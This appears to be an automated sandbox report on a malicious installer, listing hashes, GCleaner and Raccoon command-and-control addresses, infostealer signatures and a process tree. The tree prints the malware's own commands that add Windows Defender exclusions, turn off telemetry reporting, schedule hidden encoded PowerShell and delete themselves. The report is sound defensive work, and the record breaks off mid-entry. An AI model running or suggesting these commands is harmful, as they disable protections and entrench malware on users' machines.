Analysis

  • max time kernel
    212s
  • max time network
    225s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/01/2023, 17:11

General

  • Target

    infected/best-setup_FLc4rckO.exe

  • Size

    5.0MB

  • MD5

    c528c3d6799af4bf0dfc38e9b549fb75

  • SHA1

    489837e49d9f655f8adbd8a7bd9929fefed3679b

  • SHA256

    ec08d9c7f34da0f45d1c5d6419e4705e18cb75912f7afc6a46c967cc3c1ed603

  • SHA512

    b79c1179dbfda1bc1a1f348c21d37c646ca0641a74938990eb1ad77bd560fd4f4ce466a83898161a7942304b0c6ae65566646ed81e544f17a66abaf283ca6538

  • SSDEEP

    98304:xbUPREbmFZgVTVr38OMVyYow2JsOnPtTvxtWXdqqMU00tBh+0HdSzvCC6vgtuZ:dUPREGyr38HVyY2xljx1XPW7Y7Cd4tuZ

Malware Config

Extracted

Family

gcleaner

C2

85.208.136.148

85.208.136.56

85.208.136.48

85.208.136.87

Extracted

Family

raccoon

Botnet

eb3a206cd939601b2a6d00ea009a6d7e

C2

http://88.119.175.57/

rc4.plain

Signatures

  • Detect rhadamanthys stealer shellcode 1 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

  • Raccoon

    Raccoon is an infostealer written in C++ and first seen in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 3 IoCs
  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • ACProtect 1.3x - 1.4x DLL software 1 IoCs

    Detects file using ACProtect software.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 19 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 12 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 26 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 63 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 64 IoCs
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\taskhostw.exe
    taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
    1⤵
      PID:2468
      • C:\Windows\SysWOW64\fontview.exe
        "C:\Windows\SYSWOW64\fontview.exe"
        2⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Checks SCSI registry key(s)
        • Suspicious use of AdjustPrivilegeToken
        PID:3408
    • C:\Users\Admin\AppData\Local\Temp\infected\best-setup_FLc4rckO.exe
      "C:\Users\Admin\AppData\Local\Temp\infected\best-setup_FLc4rckO.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4864
      • C:\Users\Admin\AppData\Local\Temp\is-SSHVT.tmp\best-setup_FLc4rckO.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-SSHVT.tmp\best-setup_FLc4rckO.tmp" /SL5="$E005E,4965743,52224,C:\Users\Admin\AppData\Local\Temp\infected\best-setup_FLc4rckO.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Program Files directory
        • Suspicious use of WriteProcessMemory
        PID:1656
        • C:\Program Files (x86)\Reg Organizer\RegOrganizerAgent.exe
          "C:\Program Files (x86)\Reg Organizer\RegOrganizerAgent.exe"
          3⤵
          • Executes dropped EXE
          PID:1616
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1616 -s 140
            4⤵
            • Program crash
            PID:3400
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /Delete /F /TN "Reg Organizer 6"
          3⤵
            PID:1668
          • C:\Program Files (x86)\Reg Organizer\RegOrganizerAgent.exe
            "C:\Program Files (x86)\Reg Organizer\RegOrganizerAgent.exe" ad9ff40ab2841a8973dbdb0a6dca746b
            3⤵
            • Executes dropped EXE
            • Checks computer location settings
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1800
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 856
              4⤵
              • Program crash
              PID:2100
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 864
              4⤵
              • Program crash
              PID:3580
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 932
              4⤵
              • Program crash
              PID:4452
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1056
              4⤵
              • Program crash
              PID:2344
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1064
              4⤵
              • Program crash
              PID:3156
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1096
              4⤵
              • Program crash
              PID:1880
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1184
              4⤵
              • Program crash
              PID:2304
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1312
              4⤵
              • Program crash
              PID:2748
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1320
              4⤵
              • Program crash
              PID:3296
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 944
              4⤵
              • Program crash
              PID:3468
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1316
              4⤵
              • Program crash
              PID:796
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1480
              4⤵
              • Program crash
              PID:4448
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1476
              4⤵
              • Program crash
              PID:4992
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1320
              4⤵
              • Program crash
              PID:4240
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 948
              4⤵
              • Program crash
              PID:2372
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1176
              4⤵
              • Program crash
              PID:4132
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1976
              4⤵
              • Program crash
              PID:60
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1476
              4⤵
              • Program crash
              PID:824
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2076
              4⤵
              • Program crash
              PID:340
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1924
              4⤵
              • Program crash
              PID:1668
            • C:\Users\Admin\Documents\best_hack.zip_id23904541.exe
              "C:\Users\Admin\Documents\best_hack.zip_id23904541.exe"
              4⤵
              • Executes dropped EXE
              • Writes to the Master Boot Record (MBR)
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SetWindowsHookEx
              PID:4056
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1336
              4⤵
              • Program crash
              PID:1352
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2116
              4⤵
              • Program crash
              PID:1040
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1884
              4⤵
              • Program crash
              PID:4256
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1516
              4⤵
              • Program crash
              PID:3052
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1788
              4⤵
              • Program crash
              PID:3296
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1516
              4⤵
              • Program crash
              PID:1876
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2172
              4⤵
              • Program crash
              PID:4852
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2228
              4⤵
              • Program crash
              PID:4912
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2252
              4⤵
              • Program crash
              PID:3476
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2240
              4⤵
              • Program crash
              PID:4816
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2260
              4⤵
              • Program crash
              PID:4524
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2272
              4⤵
              • Program crash
              PID:5052
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2256
              4⤵
              • Program crash
              PID:1548
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2288
              4⤵
              • Program crash
              PID:4084
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2272
              4⤵
              • Program crash
              PID:1208
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2252
              4⤵
              • Program crash
              PID:2984
            • C:\Users\Admin\AppData\Local\Temp\LETSvNnP\eVjE2GDeLpgeAMAu.exe
              C:\Users\Admin\AppData\Local\Temp\LETSvNnP\eVjE2GDeLpgeAMAu.exe /VERYSILENT
              4⤵
              • Executes dropped EXE
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:1588
              • C:\Users\Admin\AppData\Local\Temp\SoundBose.exe
                C:\Users\Admin\AppData\Local\Temp\SoundBose.exe
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1116
              • C:\Users\Admin\AppData\Local\Temp\SoundBoseRemove.exe
                C:\Users\Admin\AppData\Local\Temp\SoundBoseRemove.exe
                5⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                PID:3996
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"
                  6⤵
                    PID:1676
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"
                    6⤵
                      PID:1952
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3996 -s 432
                      6⤵
                        PID:4244
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 3996 -s 456
                        6⤵
                          PID:852
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /k ping 0 & del C:\Users\Admin\AppData\Local\Temp\LETSvNnP\eVjE2GDeLpgeAMAu.exe & exit
                        5⤵
                          PID:2516
                          • C:\Windows\system32\PING.EXE
                            ping 0
                            6⤵
                            • Runs ping.exe
                            PID:4200
                      • C:\Users\Admin\AppData\Local\Temp\P7m7m07B\nQgmB.exe
                        C:\Users\Admin\AppData\Local\Temp\P7m7m07B\nQgmB.exe
                        4⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:2340
                        • C:\Users\Admin\AppData\Local\Temp\is-8JDE0.tmp\nQgmB.tmp
                          "C:\Users\Admin\AppData\Local\Temp\is-8JDE0.tmp\nQgmB.tmp" /SL5="$10302,2567431,54272,C:\Users\Admin\AppData\Local\Temp\P7m7m07B\nQgmB.exe"
                          5⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Drops file in System32 directory
                          • Drops file in Program Files directory
                          • Suspicious use of WriteProcessMemory
                          PID:4100
                          • C:\Program Files (x86)\Any Drive Formatter\Any Drive Format.exe
                            "C:\Program Files (x86)\Any Drive Formatter\Any Drive Format.exe"
                            6⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Drops file in Program Files directory
                            PID:5108
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2260
                        4⤵
                        • Program crash
                        PID:4376
                      • C:\Users\Admin\AppData\Local\Temp\O3zFOHRS\WDi0exKakQ.exe
                        C:\Users\Admin\AppData\Local\Temp\O3zFOHRS\WDi0exKakQ.exe
                        4⤵
                        • Executes dropped EXE
                        • Drops file in Program Files directory
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        PID:1200
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2332
                        4⤵
                        • Program crash
                        PID:4464
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2112
                        4⤵
                        • Program crash
                        PID:3780
                      • C:\Users\Admin\AppData\Local\Temp\stnsDyiS\9QJQIfXn4mxfx.exe
                        C:\Users\Admin\AppData\Local\Temp\stnsDyiS\9QJQIfXn4mxfx.exe /S /site_id=757674
                        4⤵
                        • Executes dropped EXE
                        • Checks BIOS information in registry
                        • Checks computer location settings
                        • Drops file in System32 directory
                        • Enumerates system info in registry
                        • Suspicious use of WriteProcessMemory
                        PID:4520
                        • C:\Windows\SysWOW64\forfiles.exe
                          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                          5⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2016
                          • C:\Windows\SysWOW64\cmd.exe
                            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                            6⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3212
                            • \??\c:\windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                              7⤵
                                PID:4432
                              • \??\c:\windows\SysWOW64\reg.exe
                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                7⤵
                                  PID:1592
                            • C:\Windows\SysWOW64\forfiles.exe
                              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                              5⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1776
                              • C:\Windows\SysWOW64\cmd.exe
                                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                6⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2752
                                • \??\c:\windows\SysWOW64\reg.exe
                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                  7⤵
                                    PID:540
                                  • \??\c:\windows\SysWOW64\reg.exe
                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                    7⤵
                                      PID:1864
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /CREATE /TN "gwUPXilBw" /SC once /ST 13:30:57 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                  5⤵
                                  • Creates scheduled task(s)
                                  PID:1352
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /run /I /tn "gwUPXilBw"
                                  5⤵
                                    PID:5096
                                  • C:\Windows\SysWOW64\schtasks.exe
                                    schtasks /DELETE /F /TN "gwUPXilBw"
                                    5⤵
                                      PID:2284
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      schtasks /CREATE /TN "bGAvhKhnIPTNQeobsw" /SC once /ST 18:16:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\UwoKNgjfMpAQohzjy\vZixTOWAjXczfOR\Fkxufiu.exe\" bt /site_id 757674 /S" /V1 /F
                                      5⤵
                                      • Drops file in Windows directory
                                      • Creates scheduled task(s)
                                      PID:2684
                                  • C:\Users\Admin\AppData\Local\Temp\UPJWRquH\p7pVac.exe
                                    C:\Users\Admin\AppData\Local\Temp\UPJWRquH\p7pVac.exe /u SUB=ad9ff40ab2841a8973dbdb0a6dca746b
                                    4⤵
                                    • Executes dropped EXE
                                    • Suspicious use of WriteProcessMemory
                                    PID:4296
                                    • C:\Users\Admin\AppData\Local\Temp\is-2LDUN.tmp\p7pVac.tmp
                                      "C:\Users\Admin\AppData\Local\Temp\is-2LDUN.tmp\p7pVac.tmp" /SL5="$30336,990754,54272,C:\Users\Admin\AppData\Local\Temp\UPJWRquH\p7pVac.exe" /u SUB=ad9ff40ab2841a8973dbdb0a6dca746b
                                      5⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Drops file in Program Files directory
                                      • Suspicious use of WriteProcessMemory
                                      PID:4384
                                      • C:\Windows\SysWOW64\schtasks.exe
                                        "C:\Windows\system32\schtasks.exe" /Delete /F /TN "Scan Rename"
                                        6⤵
                                          PID:912
                                        • C:\Program Files (x86)\ScanRename\ScanRename.exe
                                          "C:\Program Files (x86)\ScanRename\ScanRename.exe" /u SUB=ad9ff40ab2841a8973dbdb0a6dca746b
                                          6⤵
                                          • Executes dropped EXE
                                          • Checks computer location settings
                                          PID:4196
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c taskkill /im "ScanRename.exe" /f & erase "C:\Program Files (x86)\ScanRename\ScanRename.exe" & exit
                                            7⤵
                                              PID:2700
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /im "ScanRename.exe" /f
                                                8⤵
                                                • Kills process with taskkill
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:3732
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2260
                                        4⤵
                                        • Program crash
                                        PID:5064
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1332
                                        4⤵
                                        • Program crash
                                        PID:1620
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2084
                                        4⤵
                                        • Program crash
                                        PID:4720
                                      • C:\Users\Admin\AppData\Local\Temp\jKQGazGe\aeVB0B3RszAd.exe
                                        C:\Users\Admin\AppData\Local\Temp\jKQGazGe\aeVB0B3RszAd.exe /sid=3 /pid=449
                                        4⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Adds Run key to start application
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:824
                                        • C:\Users\Admin\AppData\Roaming\InfoInstall\InfoInstall.exe
                                          C:\Users\Admin\AppData\Roaming\InfoInstall\InfoInstall.exe
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:828
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2076
                                        4⤵
                                        • Program crash
                                        PID:2440
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2260
                                        4⤵
                                        • Program crash
                                        PID:4332
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2400
                                        4⤵
                                        • Program crash
                                        PID:3684
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2396
                                        4⤵
                                        • Program crash
                                        PID:5028
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2404
                                        4⤵
                                        • Program crash
                                        PID:4792
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2396
                                        4⤵
                                        • Program crash
                                        PID:4072
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2472
                                        4⤵
                                        • Program crash
                                        PID:4500
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2480
                                        4⤵
                                        • Program crash
                                        PID:4312
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2412
                                        4⤵
                                        • Program crash
                                        PID:3732
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2488
                                        4⤵
                                        • Program crash
                                        PID:3052
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2288
                                        4⤵
                                        • Program crash
                                        PID:4952
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2520
                                        4⤵
                                        • Program crash
                                        PID:4732
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1516
                                        4⤵
                                        • Program crash
                                        PID:4932
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2476
                                        4⤵
                                        • Program crash
                                        PID:2328
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1804
                                        4⤵
                                        • Program crash
                                        PID:2452
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2316
                                        4⤵
                                        • Program crash
                                        PID:3844
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2408
                                        4⤵
                                        • Program crash
                                        PID:4916
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2460
                                        4⤵
                                        • Program crash
                                        PID:3828
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2444
                                        4⤵
                                        • Program crash
                                        PID:5052
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 948
                                        4⤵
                                        • Program crash
                                        PID:4992
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1796
                                        4⤵
                                        • Program crash
                                        PID:3548
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2520
                                        4⤵
                                          PID:4380
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 948
                                          4⤵
                                            PID:4048
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2216
                                            4⤵
                                              PID:3744
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 1968
                                              4⤵
                                                PID:3852
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2232
                                                4⤵
                                                  PID:4880
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2508
                                                  4⤵
                                                    PID:4416
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2196
                                                    4⤵
                                                      PID:2292
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 2224
                                                      4⤵
                                                        PID:3080
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 140
                                                        4⤵
                                                          PID:2316
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1616 -ip 1616
                                                    1⤵
                                                      PID:368
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1800 -ip 1800
                                                      1⤵
                                                        PID:1964
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1800 -ip 1800
                                                        1⤵
                                                          PID:4056
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1800 -ip 1800
                                                          1⤵
                                                            PID:2056
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1800 -ip 1800
                                                            1⤵
                                                              PID:5096
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1800 -ip 1800
                                                              1⤵
                                                                PID:2236
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1800 -ip 1800
                                                                1⤵
                                                                  PID:3024
                                                                • C:\Windows\SysWOW64\WerFault.exe
